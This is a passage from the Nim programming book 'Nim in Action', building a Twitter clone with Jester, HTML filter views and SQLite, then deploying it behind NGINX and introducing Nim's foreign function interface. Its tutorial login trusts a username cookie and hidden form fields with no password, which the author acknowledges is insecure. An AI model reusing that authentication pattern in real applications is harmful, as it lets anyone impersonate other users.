db.post(Message(username: "nim_lang", time: getTime(), msg: "99.9% off Nim in Action for everyone, for the next minute only!")) Listing 7.16 The new implementation of createDatabase.nim Listing 7.17 A test of the database module Removes the old test database Creates a new tweeter_test.db database Creates the tables in the SQLite database Tests user creation Posts two messages 4 seconds apart, with the first message posted in the past and the second in the present Licensed to <null> 200 CHAPTER 7 Building a Twitter clone var dom: User doAssert db.findUser("d0m96", dom) var nim: User doAssert db.findUser("nim_lang", nim) db.follow(dom, nim) doAssert db.findUser("d0m96", dom) let messages = db.findMessages(dom.following) echo(messages) doAssert(messages[0].msg == "99.9% off Nim in Action for everyone, ➥ for the next minute only!") doAssert(messages[1].msg == "Hello Nim in Action readers") echo("All tests finished successfully!") This test is very large. It tests the database module as a whole, which is necessary to test it fully. Try to compile it yourself, and you should see the two messages displayed on your screen followed by “All tests finished successfully!” That’s it for this section. The database module is complete, and it can store infor- mation about users including who they’re following and the messages they post. The module can also read that data back. All of this is exposed in an API that abstracts the database away and defines only the procedures needed to build the Tweeter web application. 7.4 Developing the web application’s view Now that the database module is complete, it’s time to start developing the web com- ponent of this application. The database module provides the data needed by the application. It’s the equiva- lent of the model component in the MVC architectural pattern. The two components that are left are the view and the controller. The controller acts as a link joining the view and model components together, so it’s best to implement the view first. In Tweeter’s case, the view will contain multiple modules, each defining one or more procedures that will take data as input and return HTML as output. The HTML will represent the data in a way that can be rendered by a web browser and displayed appropriately to the user. One of the view procedures will be called renderUser. It will take a User object and generate HTML, which will be returned as a string. Figure 7.12 is a simplified illustra- tion of how this procedure, together with the database module and the controller, will display the information about a user to the person accessing the web application. Tests the findUser procedure. It should return true in both cases because the d0m96 and nim_lang users have been created. Tests the follow procedure Rereads the user information for d0m96 to ensure that the “following” information is correct Tests the findMessages procedure Licensed to <null> 201 Developing the web application’s view There are many ways to implement procedures that convert information into HTML, like the renderUser procedure. One way is to use the % string formatting operator to build up a string based on the data: import strutils proc renderUser(user: User): string = return "<div><h1>$1</h1><span>Following: $2</span></div>" % [user.username, $user.following.len] Unfortunately, this is very error prone, and it doesn’t ensure that special characters such as ampersands or < characters are escaped. Not escaping such characters can cause invalid HTML to be generated, which would lead to invalid data being shown to the user. More importantly, this can be a major security risk! findUser("d0m96") User username following d0m96 nim_lang ManningBooks renderUser(user) routes: get "/d0m96": let user = findUser("d0m96") let html = renderUser(user) resp html resp html GET /d0m96 <div> <h1>d0m96</h1> <span>Following: 2</span> </div> Stored in user variable Stored in html variable Figure 7.12 The process of displaying information about a user in the web browser Licensed to <null> 202 CHAPTER 7 Building a Twitter clone Nim supports two methods of generating HTML that are more intuitive. The first is defined in the htmlgen module. This module defines a DSL for generating HTML. Here’s how it can be used: import htmlgen proc renderUser(user: User): string = return `div`( h1(user.username), span("Following: ", $user.following.len) ) This method of generating HTML is great when the generated HTML is small. But there’s another more powerful method of generating HTML called filters. The follow- ing listing shows filters in action. #? stdtmpl(subsChar = '$', metaChar = '#') #import "../database" # #proc renderUser*(user: User): string = # result = "" <div id="user"> <h1>${user.username}</h1> <span>${$user.following.len}</span> </div> #end proc # #when isMainModule: # echo renderUser(User(username: "d0m96", following: @[])) #end when Filters allow you to mix Nim code together with any other code. This way, HTML can be written verbatim and Nim code can still be used. Create a new folder called views in the src directory of Tweeter, and then save the contents of listing 7.18 into views/user.nim. Then, compile the file. You should see the following output: <div id="user"> <h1>d0m96</h1> <span>0</span> </div> Filters are very powerful and can be customized extensively. Listing 7.18 Using a Nim filter to generate HTML The backticks (`) around the div are needed because “div” is a keyword. The username passed to h1 becomes the <h1> tag’s content. Only strings are accepted, so the length must be explicitly converted to a string using the $ operator. This line, the filter definition, allows you to customize the behavior of the filter. This file assumes that it’s placed in a views subdirectory. This is why the “..” is necessary to import "database". In the filter, an ordinary procedure is created, and in it you need to initialize the result variable. In filters, it’s important to ensure that all lines are prefixed with #. Each line that doesn’t begin with # is converted to result.add by the compiler. Keywords delimit where the procedure ends because indentation doesn’t work well in templates such as these. Licensed to <null> 203 Developing the web application’s view WARNING: AN IMPORTANT FILTER GOTCHA When writing filters, be sure that all the empty lines are prefixed with #. If you forget to do so, you’ll get errors such as “undeclared identifier: result” in your code. Figure 7.13 shows the view that the renderUser procedure will create. The code shown in listing 7.18 still suffers from the same problems as the first exam- ple in this section: it doesn’t escape special characters. But thanks to the filter’s flexi- bility, this can easily be repaired, as follows. #? stdtmpl(subsChar = '$', metaChar = '#', toString = "xmltree.escape") #import "../database" #import xmltree # #proc renderUser*(user: User): string = # result = "" <div id="user"> <h1>${user.username}</h1> <span>Following: ${$user.following.len}</span> </div> #end proc # #when isMainModule: # echo renderUser(User(username: "d0m96<>", following: @[])) #end when FILTER DEFINITIONS You can learn more about how to customize filters by tak- ing a look at their documentation: http://nim-lang.org/docs/filters.html. Save this file in views/user.nim and note the new output. Everything should be as before, except for the <h1> tag, which should read <h1>d0m96&lt;&gt;</h1>. Note how the <> is escaped as &lt;&gt;. Listing 7.19 Escaping special characters in views/user.nim <h1>${user.username}</h1> <span>${$user.following.len}</span> <div id="user"> Figure 7.13 The view created by listing 7.18 This parameter specifies the operation applied to each expression, such as ${user.username}. Here, the toString parameter is overwritten with a new xmltree.escape string to escape the expression. The xmltree module that defines escape needs to be imported. The username of the user is now d0m96<> to test the escape mechanism. Licensed to <null> 204 CHAPTER 7 Building a Twitter clone 7.4.1 Developing the user view The vast majority of the user view is already implemented in the view/user.nim file. The procedures defined in this view will be used whenever a specific user’s page is accessed. The user’s page will display some basic information about the user and all of the user’s messages. Basic information about the user is already presented in the form of HTML by the renderUser procedure. The renderUser procedure needs to include Follow and Unfollow buttons. Instead of making the renderUser procedure more complicated, let’s overload it with a new renderUser procedure that takes an additional parameter called currentUser. The following listing shows its implementation. Add it to the view/user.nim file. #proc renderUser*(user: User, currentUser: User): string = # result = "" <div id="user"> <h1>${user.username}</h1> <span>Following: ${$user.following.len}</span> #if user.username notin currentUser.following: <form action="follow" method="post"> <input type="hidden" name="follower" value="${currentUser.username}"> <input type="hidden" name="target" value="${user.username}"> <input type="submit" value="Follow"> </form> #end if </div> # #end proc Figure 7.14 shows what the follow button will look like once its rendered. Listing 7.20 The second renderUser procedure This procedure definition is almost identical to the previous renderUser procedure. The difference is in the parameters, in this case the addition of the currentUser parameter. Checks to see if the currently logged-in user is already following the specified user. If not, creates a Follow button. Adds a form that contains a Follow or Unfollow button. The form is submitted to the /follow route. Hidden fields are used to pass information to the /follow route. Figure 7.14 The Follow button constructed by renderUser in listing 7.20 Licensed to <null> 205 Developing the web application’s view Now, let’s implement a renderMessages procedure. The next listing shows the full implementation of the renderMessages procedure, together with the renderUser procedures implemented in the previous section. #? stdtmpl(subsChar = '$', metaChar = '#', toString = "xmltree.escape") #import "../database" #import xmltree #import times # #proc renderUser*(user: User): string = # result = "" <div id="user"> <h1>${user.username}</h1> <span>Following: ${$user.following.len}</span> </div> #end proc # #proc renderUser*(user: User, currentUser: User): string = # result = "" <div id="user"> <h1>${user.username}</h1> <span>Following: ${$user.following.len}</span> #if user.username notin currentUser.following: <form action="follow" method="post"> <input type="hidden" name="follower" value="${currentUser.username}"> <input type="hidden" name="target" value="${user.username}"> <input type="submit" value="Follow"> </form> #end if </div> # #end proc # #proc renderMessages*(messages: seq[Message]): string = # result = "" <div id="messages"> #for message in messages: <div> <a href="/${message.username}">${message.username}</a> <span>${message.time.getGMTime().format("HH:mm MMMM d',' yyyy")}</span> <h3>${message.msg}</h3> </div> #end for </div> #end proc Listing 7.21 Final views/user.nim with the new renderMessages procedure The times module is imported so that the time can be formatted. The new renderMessages procedure takes a list of messages and returns a single string. Iterates through all messages. All the following HTML code will be added verbatim in each iteration. The procedure will first emit a new <div> tag. Adds the username to the HTML first. The for loop is explicitly finished by the “end for” keywords. Message text is added last. The time when the message was created is formatted and added to the HTML. As before, result is initialized so that text can be appended to it by the filter. Licensed to <null> 206 CHAPTER 7 Building a Twitter clone # #when isMainModule: # echo renderUser(User(username: "d0m96<>", following: @[])) # echo renderMessages(@[ # Message(username: "d0m96", time: getTime(), msg: "Hello World!"), # Message(username: "d0m96", time: getTime(), msg: "Testing") # ]) #end when Replace the contents of your views/user.nim file with the contents of listing 7.21. Then compile and run it. You should see something similar to the following: <div id="user"> <h1>d0m96&lt;&gt;</h1> <span>Following: 0</span> </div> <div id="messages"> <div> <a href="/d0m96">d0m96</a> <span>12:37 March 2, 2016</span> <h3>Hello World!</h3> </div> <div> <a href="/d0m96">d0m96</a> <span>12:37 March 2, 2016</span> <h3>Testing</h3> </div> </div> Figure 7.15 shows what the rendered message will look like. And that’s it for the user view. All you need to do now is build the remaining views. The renderMessages procedure is tested with some messages. Figure 7.15 A message produced by renderMessages Licensed to <null> 207 Developing the web application’s view 7.4.2 Developing the general view The user view will be used for a specific user’s page. All that remains to be created is the front page. The front page will either show a login form or, if the user has logged in, it will show the messages posted by the people that the user follows. This general view will be used as the front page of Tweeter, so for simplicity we’ll implement the procedures in a new file called general.nim. Create this file in the views directory now. One important procedure that we haven’t implemented yet is one that will gener- ate the main body of the HTML page. Let’s implement this now as a renderMain pro- cedure and add it to the new general.nim file. The following listing shows the implementation of renderMain. #? stdtmpl(subsChar = '$', metaChar = '#') #import xmltree # #proc `$!`(text: string): string = escape(text) #end proc # #proc renderMain*(body: string): string = # result = "" <!DOCTYPE html> <html> <head> <title>Tweeter written in Nim</title> <link rel="stylesheet" type="text/css" href="style.css"> </head> <body> <div id="main"> ${body} </div> </body> </html> #end proc The code is fairly straightforward. The renderMain procedure takes a parameter called body containing the HTML code that should be inserted into the body of the HTML page. In comparison to listing 7.21, the toString parameter is no longer used to ensure that the body isn’t escaped. Instead, a new operator called $! has been intro- duced. This operator is simply an alias for the escape procedure. This means that you can easily decide which of the strings you’re embedding will be escaped and which won’t be. Now that the renderMain procedure has been implemented, it’s time to move on to implementing the remaining two procedures: renderLogin and renderTimeline. The first procedure will show a simple login form, and the second will show the user their timeline. The timeline is the messages posted by people that the user is following. Listing 7.22 Implementing the renderMain procedure The toString parameter is no longer set in the filter definition. Defines a new operator that can be used to escape text easily Defines the renderMain procedure, which simply generates a new HTML document and inserts the body of the page inside the <div> tag Licensed to <null> 208 CHAPTER 7 Building a Twitter clone Let’s start with renderLogin. The following listing shows how it can be implemented. #proc renderLogin*(): string = # result = "" <div id="login"> <span>Login</span> <span class="small">Please type in your username...</span> <form action="login" method="post"> <input type="text" name="username"> <input type="submit" value="Login"> </form> </div> #end proc This procedure is very simple because it doesn’t take any arguments. It simply returns a piece of static HTML representing a login form. Figure 7.16 shows what this looks like when rendered in a web browser. Add this procedure to the bottom of the general .nim file. The renderTimeline procedure, shown next, is also fairly straightforward, even though it takes two parameters. Add this procedure to the bottom of general.nim, and make sure that you also import "../database" and user at the top of the file. #proc renderTimeline*(username: string, messages: seq[Message]): string = # result = "" <div id="user"> <h1>${$!username}'s timeline</h1> </div> <div id="newMessage"> <span>New message</span> Listing 7.23 The implementation of renderLogin Listing 7.24 The implementation of renderTimeline <input type="text" name="username"> <span>Login</span> <input type="submit" value="Login"> Figure 7.16 The rendered login page Licensed to <null> 209 Developing the web application’s view <form action="createMessage" method="post"> <input type="text" name="message"> <input type="hidden" name="username" value="${$!username}"> <input type="submit" value="Tweet"> </form> </div> ${renderMessages(messages)} #end proc The preceding implementation is fairly simple. It first creates a <div> tag that holds the title, and then a <div> tag that allows the user to tweet a new message. Finally, the renderMessages procedure defined in the user module is called. For completeness, here’s the full general.nim code. #? stdtmpl(subsChar = '$', metaChar = '#') #import "../database" #import user #import xmltree # #proc `$!`(text: string): string = escape(text) #end proc # #proc renderMain*(body: string): string = # result = "" <!DOCTYPE html> <html> <head> <title>Tweeter written in Nim</title> <link rel="stylesheet" type="text/css" href="style.css"> </head> <body> ${body} </body> </html> #end proc # #proc renderLogin*(): string = # result = "" <div id="login"> <span>Login</span> <span class="small">Please type in your username...</span> <form action="login" method="post"> <input type="text" name="username"> <input type="submit" value="Login"> </form> </div> #end proc # #proc renderTimeline*(username: string, messages: seq[Message]): string = Listing 7.25 The final code of general.nim The $! operator is used here to ensure that username is escaped. The renderMessages procedure is called, and its result is inserted into the generated HTML. Licensed to <null> 210 CHAPTER 7 Building a Twitter clone # result = "" <div id="user"> <h1>${$!username}'s timeline</h1> </div> <div id="newMessage"> <span>New message</span> <form action="createMessage" method="post"> <input type="text" name="message"> <input type="hidden" name="username" value="${$!username}"> <input type="submit" value="Tweet"> </form> </div> ${renderMessages(messages)} #end proc With that, the view components are complete, and Tweeter is very close to being fin- ished. All that’s left is the component that ties the database and views together. 7.5 Developing the controller The controller will tie the database module and the two different views together. Compared to the three modules you’ve already implemented, the controller will be much smaller. The bulk of the work is now essentially behind you. You’ve already created a file, tweeter.nim, that implements the controller. Open this file now, so that you can begin editing it. This file currently contains one route: the / route. You’ll need to modify this route so that it responds with the HTML for the login page. To do so, start by importing the differ- ent modules that you implemented in the previous section: database, views/user, and views/general. You can use the following code to import these modules: import database, views/user, views/general Once you’ve done that, you can modify the / route so that it sends the login page to the user’s web browser: get "/": resp renderMain(renderLogin()) Save your newly modified tweeter.nim file, and then compile and run it. Open a new web browser tab and navigate to http://localhost:5000. You should see a login form, albeit a very white one. It might look similar to figure 7.17. Let’s add some CSS style to this page. If you’re familiar with CSS and are confident in your web design abilities, I encourage you to write some CSS yourself to create a nice design for Tweeter’s login page. SHARE YOUR CSS If you do end up designing your own Tweeter, please share what you come up with on Twitter with the hashtag #NimInActionTweeter. I’d love to see what you come up with. If you don’t have Twitter, you can also post it on the Nim forums or the Manning forums at http://forum.nim-lang .org and https://forums.manning.com/forums/nim-in-action, respectively. Licensed to <null> 211 Developing the controller If you’re more like myself and don’t have any web design abilities whatsoever, you can use the CSS available at the following URL: https://github.com/dom96/nim-in-action- code/blob/master/Chapter7/Tweeter/public/style.css. The CSS file should be placed in a directory named public. Create this directory now, and save your CSS file as style.css. When a page is requested, Jester will check the public directory for any files that match the page requested. If the requested page exists in the public directory, Jester will send that page to the browser. STATIC FILE DIRECTORY The public directory is known as the static file direc- tory. This directory is set to public by default, but it can be configured using the setStaticDir procedure or in a settings block. For more information on static file config in Jester, see the documentation on GitHub: https://github .com/dom96/jester#static-files. Once you’ve placed the CSS file in the public directory, refresh the page. You should see that the login page is now styled. It should look something like the screen in figure 7.18 (or it may look better if you wrote your own CSS). Type in a username, and click the Login button. You’ll see an error message read- ing “404 Not Found.” Take a look at your terminal and see what Jester displayed there. You should see something similar to figure 7.19. Note the last line, which reads as follows: DEBUG post /login DEBUG 404 Not Found {Content-type: text/html;charset=utf-8, Content-Length: 178} This specifies that an HTTP post request was made to the /login page. A route for the /login page hasn’t yet been created, so Jester responds with a “404 Not Found” error. Figure 7.17 The unstyled login form Licensed to <null> 212 CHAPTER 7 Building a Twitter clone 7.5.1 Implementing the /login route Let’s implement the /login route now. Its implementation is short. post "/login": setCookie("username", @"username", getTime().getGMTime() + 2.hours) redirect("/") Listing 7.26 The /login route Figure 7.18 The login page Figure 7.19 Debug information from Jester Specifies a new POST route on the path /login. Any HTTP POST requests on /login will activate this route, and the code in its body will be executed. Sets a new cookie with a key of "username" and tells it to expire in 2 hours. The cookie’s value is set to the username that the user typed into the login box on the front page. Asks Jester to redirect the user’s web browser to the front page Licensed to <null> 213 Developing the controller Add the code in listing 7.26 to tweeter.nim, and make sure it’s indented just like the other route. You’ll also need to import the times module. The preceding code may seem a bit magical, so let me explain it in more detail. The code does two simple things: it sets a cookie and then redirects the user to the front page of Tweeter. A cookie is a piece of data stored in a user’s browser. It’s composed of a key, a value, and an expiration date. The cookie created in this route stores the username that was typed in by the user just before the Login button was clicked. This username was sent together with the HTTP request when the Login button was clicked. It’s referred to by "username" because that’s the name of the <input> tag that was created in the renderLogin procedure. The value of "username" is accessed in Jester using the @ operator. The expiration date of the cookie is calculated using a special + operator that adds a TimeInterval to a TimeInfo object. In this case, it creates a date that’s 2 hours in the future. At the end of the code, the route finishes by redirecting the user to the front page. Recompile tweeter.nim, run it, and test it out. You should now be able to type in a new username, click Login, and see the web browser navigate to the front page auto- matically. Notice what’s happening in your terminal, and particularly the following line: DEBUG post /login DEBUG 303 See Other {Set-Cookie: username=test; Expires=Wed, ➥02 Mar 2016 21:57:29 UTC, Content-Length: 0, Location: /} The last line is actually the response that Jester sent, together with the HTTP headers, which include a Set-Cookie header. Figure 7.20 shows this in action. The cookie is set, but the user is redirected back to the front page. 303 See Other Set-Cookie: username=test Location: / username=test Figure 7.20 The current login process Licensed to <null> 214 CHAPTER 7 Building a Twitter clone 7.5.2 Extending the / route The cookie is set, but the user is still shown the front page without actually being logged in. Let’s fix that. The following listing shows a modified version of the / route that fixes this problem. let db = newDatabase() routes: get "/": if request.cookies.hasKey("username"): var user: User if not db.findUser(request.cookies["username"], user): user = User(username: request.cookies["username"], following: @[]) db.create(user) let messages = db.findMessages(user.following) resp renderMain(renderTimeline(user.username, messages)) else: resp renderMain(renderLogin()) Modify tweeter.nim by replacing the / route with the code in listing 7.27. Then recom- pile and run Tweeter again. Navigate to http://localhost:5000, type test into the Login text box, and click Login. You should now be able to see test’s timeline, which should look similar to the screenshot in figure 7.21. Congratulations, you’ve almost created your very own Twitter clone! Listing 7.27 The / route Creates a new database instance that will open the database saved in tweeter.db. This is done inside a global variable so that every route can access it. Checks if the cookie has been set Checks if the username already exists in the database If the username doesn’t exist in the database, creates it Retrieves the messages posted by the users that the logged-in user is following Uses the renderTimeline procedure to render the user’s timeline, and then passes the result to renderMain, which returns a fully rendered web page If the cookie isn’t set, shows the login page Figure 7.21 A simple timeline Licensed to <null> 215 Developing the controller 7.5.3 Implementing the /createMessage route Let’s keep going. The next step is to implement the tweeting functionality. Clicking the Tweet button will try to take you to the /createMessage route, resulting in another 404 error. The following listing shows how the /createMessage route can be implemented. post "/createMessage": let message = Message( username: @"username", time: getTime(), msg: @"message" ) db.post(message) redirect("/") This route initializes a new Message and uses the post procedure defined in the data- base module to save the message in the database. It then redirects the browser to the front page. Add this code to the bottom of your routes. Then recompile, run Tweeter, and nav- igate to http://localhost:5000. After logging in, you should be able to start tweeting. Unfortunately, you’ll quickly notice that the tweets you create aren’t appearing. This is because your username isn’t passed to the findMessages procedure in the / route. To fix this problem, change let messages = db.findMessages(user.following) to let messages = db.findMessages(user.following & user.username). Recom- pile and run Tweeter again. You should now be able to see the messages you’ve cre- ated. Figure 7.22 shows an example of what that will look like. Listing 7.28 The /createMessage route Figure 7.22 A timeline with messages Licensed to <null> 216 CHAPTER 7 Building a Twitter clone 7.5.4 Implementing the user route The username in the message is clickable; it takes you to the user page for that specific username. In this example, clicking the test username should take you to http://localhost:5000/test, which will result in a 404 error because a route for /test hasn’t yet been created. This route is a bit different, because it should accept any username, not just test. Jester features patterns in route paths to support such use cases. The following listing shows how a route that shows any user’s timeline can be implemented. get "/@name": var user: User if not db.findUser(@"name", user): halt "User not found" let messages = db.findMessages(@[user.username]) resp renderMain(renderUser(user) & renderMessages(messages)) Add the route in listing 7.29 into tweeter.nim, recompile, run Tweeter again, and nav- igate to the front page: http://localhost:5000/. You’ll note that the page no longer has any style associated with it. What hap- pened? Unfortunately, the route you’ve just added also matches /style.css, and because a user with that name doesn’t exist, a 404 error is returned. This is easy to fix. Jester provides a procedure called cond that takes a Boolean parameter, and if that parameter is false, the route is skipped. Simply add cond '.' notin @"name" at the top of the route to skip the route if a period (.) is inside the value of the name variable. This will skip the route when /style.css is accessed, and it will fall back to responding with the static file. Test this by recompiling tweeter.nim and running it again. You should see that the stylesheet has been restored when you navigate to http://localhost:5000/. Log in using the test username, and click on the username in your message again. You should see something resembling figure 7.23. Listing 7.29 The user route Anything that follows the @ character in a path is a variable. Jester will activate this route when the path is /test, or /foo, or /<insert_anything_here>. Inside the route, the @ operator is used to retrieve the value of the "name" variable in the path. The User object for that username value is then retrieved. The renderUser procedure is used to render the timeline of the specified user, and the renderMessages procedure is then used to generate the HTML for the user’s messages. If the user isn’t found, the route finishes early with the specified message. The halt procedure is similar to a return. Licensed to <null> 217 Developing the controller 7.5.5 Adding the Follow button There’s one important feature missing from the user’s timeline page. That’s the Fol- low button, without which users can’t follow each other. Thankfully, the user view already contains support for it. The route just needs to check the cookies to see if a user is logged in. This operation to check if a user is logged in is becoming common—the / route also performs it. It would make sense to put this code into a procedure so that it’s reusable. Let’s create this procedure now. Add the following userLogin procedure above your routes and outside the routes block, inside the tweeter.nim file. proc userLogin(db: Database, request: Request, user: var User): bool = if request.cookies.hasKey("username"): if not db.findUser(request.cookies["username"], user): user = User(username: request.cookies["username"], following: @[]) db.create(user) return true else: return false The userLogin procedure checks the cookies for a username key. If one exists, it reads the value and attempts to retrieve the user from the database. If no such user exists, the user will be created. The procedure performs the same actions as the / route. The new implementations of the / and user routes are fairly easy. The following listing shows the new implementation of the two routes. get "/": var user: User Listing 7.30 The userLogin procedure Listing 7.31 The new implementations of the / and user routes Figure 7.23 Another user’s timeline Licensed to <null> 218 CHAPTER 7 Building a Twitter clone if db.userLogin(request, user): let messages = db.findMessages(user.following & user.username) resp renderMain(renderTimeline(user.username, messages)) else: resp renderMain(renderLogin()) get "/@name": cond '.' notin @"name" var user: User if not db.findUser(@"name", user): halt "User not found" let messages = db.findMessages(@[user.username]) var currentUser: User if db.userLogin(request, currentUser): resp renderMain(renderUser(user, currentUser) & renderMessages(messages)) else: resp renderMain(renderUser(user) & renderMessages(messages)) Now the Follow button should appear when you navigate to a user’s page, but clicking it will again result in a 404 error. 7.5.6 Implementing the /follow route Let’s fix that error by implementing the /follow route. All that this route needs to do is call the follow procedure defined in the database module. The following listing shows how the /follow route can be implemented. post "/follow": var follower: User var target: User if not db.findUser(@"follower", follower): halt "Follower not found" if not db.findUser(@"target", target): halt "Follow target not found" db.follow(follower, target) redirect(uri("/" & @"target")) That’s all there is to it. You can now log in to Tweeter, create messages, follow other users using a direct link to their timeline, and see on your own timeline the messages of users that you’re following. TESTING TWEETER Without the ability to log out, it’s a bit difficult to test Tweeter. But you can log in using two different accounts by either using a dif- ferent web browser or by creating a new private browsing window. Listing 7.32 The /follow route If either of the usernames isn’t present in the database, responds with an error Retrieves the current user and the target user to follow from the database Calls the follow procedure, which will store follower information in the database The redirect procedure is used to redirect the user’s browser back to the user page. Licensed to <null> 219 Deploying the web application Currently, Tweeter may not be the most user-friendly or secure application. Demon- strating and explaining the implementation of features that would improve both of those aspects would take far too many pages here. But despite the limited functional- ity you’ve implemented in this chapter, you should now know enough to extend Tweeter with many more features. As such, I challenge you to consider implementing the following features:  The ability to unfollow users  Authentication with passwords  Better navigation, including a button that takes the user to the front page  The ability to log out 7.6 Deploying the web application Now that the web application is mostly complete, you may wish to deploy it to a server. When you compile and run a Jester web application, Jester starts up a small HTTP server that can be used to test the web application locally. This HTTP server runs on port 5000 by default, but that can be easily changed. A typical web server’s HTTP server runs on port 80, and when you navigate to a website, your web browser defaults to that port. You could simply run your web application on port 80, but that’s not recom- mended because Jester’s HTTP server isn’t yet mature enough. From a security point of view, it’s also not a good idea to directly expose web applications like that. A more secure approach is to run a reliable HTTP server such as NGINX, Apache, or lighttpd, and configure it to act as a reverse proxy. 7.6.1 Configuring Jester The default Jester port is fine for most development work, but there will come a time when it needs to be changed. You may also wish to configure other aspects of Jester, such as the static directory. Jester can be configured easily using a settings block. For example, to change the port to 80, simply place the following code above your routes. settings: port = Port(80) Other Jester parameters that can be customized can be found in Jester’s documenta- tion: https://github.com/dom96/jester#readme. 7.6.2 Setting up a reverse proxy A reverse proxy is a piece of software that retrieves resources on behalf of a client from one or more servers. In the case of Jester, a reverse proxy would accept HTTP requests from web browsers, ensure that they’re valid, and pass them on to a Jester application. The Jester application would then send a response to the reverse proxy, and the Listing 7.33 Configuring Jester Licensed to <null> 220 CHAPTER 7 Building a Twitter clone reverse proxy would pass it on to the client web browser as if it generated the response. Figure 7.24 shows a reverse proxy taking requests from a web browser and forwarding them to a Jester application. When configuring such an architecture, you must first decide how you’ll get a work- ing binary of your web application onto the server itself. Keep in mind that binaries compiled on a specific OS aren’t compatible with other OSs. For example, if you’re developing on a MacBook running Mac OS, you won’t be able to upload the binary to a server running Linux. You’ll either have to cross-compile, which requires setting up a new C compiler, or you can compile your web application on the server itself. The latter is much simpler. You just need to install the Nim compiler on your server, upload the source code, and compile it. Once your web application is compiled, you’ll need a way to execute it in the back- ground while retaining its output. An application that runs in the background is referred to as a daemon. Thankfully, many Linux distributions support the manage- ment of daemons out of the box. You’ll need to find out what init system your Linux distribution comes with and how it can be used to run custom daemons. Once your web application is up and running, all that’s left is to configure your HTTP server of choice. This should be fairly simple for most HTTP servers. The follow- ing listing shows a configuration suitable for Jester web applications that can be used for NGINX. server { server_name tweeter.org; location / { proxy_pass http://localhost:5000; proxy_set_header Host $host; proxy_set_header X-Real_IP $remote_addr; } } All you need to do is save that configuration to /etc/nginx/sites-enabled/tweeter.org and reload NGINX’s configuration, and you should see Tweeter at http://tweeter.org. That’s assuming that you own tweeter.org, which you most likely don’t, so be sure to modify the domain to suit your needs. Listing 7.34 NGINX configuration for Jester Jester Web browser HTTP HTTP HTTP HTTP Figure 7.24 Reverse proxy in action Licensed to <null> 221 Summary Other web servers should support similar configurations, including Apache and lighttpd. Unfortunately, showing how to do this for each web server is beyond the scope of this book. But there are many good guides online that show how to configure these web servers to act as reverse proxies. 7.7 Summary  Web applications are typically modeled after the model-view-controller pattern.  A route is a block of code that’s executed whenever a certain HTTP path is requested.  Jester is a Nim web microframework inspired by Sinatra.  Nim’s standard library offers connectivity to the MySQL, SQLite, and Postgre- SQL databases.  HTML can be generated in two ways: using the htmlgen module and using fil- ters.  Filters are expanded at compile time. They allow you to mix literal text and Nim code in the same file.  A Jester web application should be deployed behind a reverse proxy. Licensed to <null> Licensed to <null> Part 3 Advanced concepts The concepts and examples become a bit more difficult in this last part, but they should also prove to be a lot more fun. Chapter 8 looks at Nim’s foreign function interface, which allows you to use libraries written in other programming languages. You’ll learn how to interface with a C library called SDL and then use it to draw some 2D shapes on the screen. You’ll also see the JavaScript backend in this chapter, and you’ll learn how to rec- reate the same 2D shapes in the web browser using the Canvas API. Chapter 9 is on metaprogramming. It will teach you about the three different metaprogramming constructs in Nim: generics, templates, and macros. It will also show you how to create a domain specific language for configuration parsing. Licensed to <null> Licensed to <null> 225 Interfacing with other languages For many years, computer programmers have been writing software libraries in var- ious programming languages. Many of these libraries have been in development for a very long time, accumulating features and maturing over the years. These libraries are not typically written in Nim; instead, they’ve been written in older pro- gramming languages such as C and C++. When writing software, you might have required an external C library to per- form a task. A good example of this is the OpenSSL library, which implements the SSL and TLS protocols. It’s primarily used for securely transferring sensitive data over the internet, such as when navigating to a website using the HTTPS protocol. This chapter covers  Getting to know Nim’s foreign function interface  Distinguishing between static and dynamic linking  Creating a wrapper for an external C library  Using the JavaScript backend  Wrapping JavaScript APIs Licensed to <null> 226 CHAPTER 8 Interfacing with other languages Many of the HTTP client modules in the standard libraries of various programming languages, including Nim’s, use the C library to transfer encrypted data to and from HTTP servers securely. It’s easy to forget that this library is used, because it’s usually invoked behind the scenes, reducing the amount of work the programmer needs to do. The Nim standard library takes care of a lot of things for you, including interfacing with other languages, as is the case with the OpenSSL library. But there will be times when you’ll need to interface with a library yourself. This chapter will prepare you for those times. First, you’ll learn how to call proce- dures implemented in the C programming language, passing data to those procedures and receiving data back from them. Then, you’ll learn how to wrap an external library called SDL, and you’ll use your wrapper to create a simple SDL application that draws on the screen. (A wrapper is a thin layer of code that acts as a bridge between Nim code and a library written in another programming language, such as C.) Last, you’ll work with the JavaScript backend, wrapping the Canvas API and drawing shapes on the screen with it. Nim makes the job of calling procedures implemented in the C programming lan- guage particularly easy. That’s because Nim primarily compiles to C. Nim’s other com- pilation backends, including C++, Objective-C, and JavaScript, make using libraries written in those languages easy as well. 8.1 Nim’s foreign function interface Nim’s foreign function interface (FFI) is the mechanism by which Nim can call proce- dures written in another programming language. Most languages offer such a mecha- nism, but they don’t all use the same terminology. For example, Java refers to its FFI as the Java Native Interface, whereas Common Language Runtime languages such as C# refer to it as P/Invoke. In many cases, the FFI is used to employ services defined and implemented in a lower-level language. This lower-level language is typically C or C++, because many important OS services are defined using those languages. Nim’s standard library makes extensive use of the FFI to take advantage of OS services; this is done to perform tasks such as reading files or communicating over a network. In recent years, the web has become a platform of its own. Web browsers that retrieve and present web pages implement the JavaScript programming language, allowing complex and dynamic web applications to be run inside the browser easily. In order to run Nim applications in a web browser and make use of the services provided by the browser, like the DOM or WebGL, Nim source code can be compiled to Java- Script. Accessing those services and the plethora of JavaScript libraries is also done via the FFI. Figure 8.1 shows an overview of Nim’s FFI. It’s important to note that the FFI allows you to interface with C, C++, and Objective-C libraries in the same application, but you can’t interface with both C and JavaScript libraries at the same time. This is because C++ and Objective-C are both backward com- patible with C, whereas JavaScript is a completely different language. Licensed to <null> 227 Nim’s foreign function interface 8.1.1 Static vs. dynamic linking Before looking at the FFI in more detail, let’s look at the two different ways that C, C++, and Objective-C libraries can be linked to your Nim applications. When using an external library, your application must have a way to locate it. The library can either be embedded in your application’s binary or it can reside some- where on the user’s computer. The former refers to a statically linked library, whereas the latter refers to a dynamically linked library. Dynamic and static linking are both supported, but dynamic linking is favored by Nim. Each approach has its advantages and disadvantages, but dynamic linking is favored for several reasons:  Libraries can be updated to fix bugs and security flaws without updating the applications that use the libraries.  A development version of the linked library doesn’t need to be installed in order to compile applications that use it.  A single dynamic library can be shared between multiple applications. The biggest advantage of static linking is that it avoids dependency problems. The libraries are all contained in a single executable file, which simplifies the distribution and installation of the application. Of course, this can also be seen as a disadvantage, because these executables can become very big. Dynamically linked libraries are instead loaded when the application first starts. The application searches special paths for the required libraries, and if they can’t be found, the application fails to start. Figure 8.2 shows how libraries are loaded in stati- cally and 